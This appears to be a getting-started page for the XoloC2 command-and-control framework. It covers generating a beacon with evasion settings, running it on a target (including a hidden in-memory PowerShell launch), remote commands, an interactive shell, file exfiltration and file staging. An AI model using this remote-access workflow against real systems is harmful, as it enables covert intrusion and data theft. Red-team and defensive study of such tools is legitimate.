Your First Beacon
Your First Beacon
Section titled “Your First Beacon”Step 1 — Generate the beacon
Section titled “Step 1 — Generate the beacon”In the XoloC2 sidebar, click Generate Beacon.
Fill in the form:
- Type: Python (recommended for first test)
- C2 URL:
https://your-server:8443 - Sleep:
5seconds - Jitter:
20% - Encryption: XOR (default)
- Evasion options: leave defaults for a first test
Click Download to get the .py source file, or Compile to get a binary.
Step 2 — Deploy on target
Section titled “Step 2 — Deploy on target”Transfer the beacon to the target and execute it:
# Python source (Linux)python3 beacon.py
# Compiled Linux binary./beacon
# Javajava -jar beacon.jar
# Go binary (Windows)beacon.exe
# PowerShell (in-memory, no disk write)powershell -nop -w hidden -File beacon.ps1Step 3 — Interact
Section titled “Step 3 — Interact”Within a few seconds the beacon appears in Sessions. Click it to open the session panel.
Try your first command:
whoamiOutput arrives in real time via WebSocket.
Step 4 — PTY shell (Linux only)
Section titled “Step 4 — PTY shell (Linux only)”Click PTY Shell to open a full interactive terminal in the browser. Full PTY — Ctrl+C, tab completion, vim, htop, and interactive programs all work.
Step 5 — Browse files
Section titled “Step 5 — Browse files”Click File Browser to navigate the target filesystem. Click any file to exfiltrate it directly to your browser.
Step 6 — Upload a file
Section titled “Step 6 — Upload a file”Use the Upload button to stage a file on the server, then send:
__upload__ /tmp/toolThe beacon pulls and writes the file on its next check-in.